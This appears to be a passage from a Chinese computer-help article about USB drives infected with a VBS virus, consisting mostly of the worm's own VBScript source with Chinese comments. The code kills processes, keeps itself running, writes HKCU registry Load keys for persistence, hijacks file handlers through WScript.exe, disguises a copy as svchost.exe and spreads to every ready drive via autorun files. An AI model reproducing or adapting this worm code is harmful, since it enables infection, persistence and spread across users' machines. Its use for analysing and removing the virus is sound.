u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(3)

Do

Call KillProcess(ProcessNames)

CallInvadeSystem(GetMainVirus(1),GetMainVirus(0))'1:smss.exe:72161642.vbs

Call KeepProcess(VBSFullNames) '0:explorer.exe:72161642.vbs

'上面这句用来保持进程活跃

WScript.Sleep 3000

Loop

End Sub

Sub InvadeSystem(VirusLoadPath,VirusAssPath)

On Error Resume Next

Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2,HCULoad, HCUVer, VirusCode, Version

Load_Value=''''&VirusLoadPath&'''''smss.exe的病毒流

File_Value='%SystemRoot%\System32\WScript.exe'&''''&VirusAssPath&''''&' %1 %* '

IE_Value='%SystemRoot%\System32\WScript.exe'&''''&VirusAssPath&''''&' OIE '

MyCpt_Value1='%SystemRoot%\System32\WScript.exe'&''''&VirusAssPath&''''&' OMC '

MyCpt_Value2='%SystemRoot%\System32\WScript.exe'&''''&VirusAssPath&''''&' EMC '

HCULoad='HKEY_CURRENT_USER\SoftWare\Microsoft\WindowsNT\CurrentVersion\Windows\Load'

HCUVer='HKEY_CURRENT_USER\SoftWare\Microsoft\WindowsNT\CurrentVersion\Windows\Ver'

HCUDate='HKEY_CURRENT_USER\SoftWare\Microsoft\WindowsNT\CurrentVersion\Windows\Date'

VirusCode=GetCode(WScript.ScriptFullName)

Version=1

HostSourcePath=Fso.GetSpecialFolder(1)&'\Wscript.exe'

HostFilePath=Fso.GetSpecialFolder(0)&'\system\svchost.exe'

For Each Drive In Fso.Drives'分别建立各个目录的病毒名字

If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 OrDrive.DriveType=3) Then

DiskVirusName=GetSerialNumber(Drive.DriveLetter)&'.vbs'

Call CreateAutoRun(Drive.DriveLetter,DiskVirusName)

Call InfectRoot(Drive.DriveLetter,DiskVirusName)

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-3.html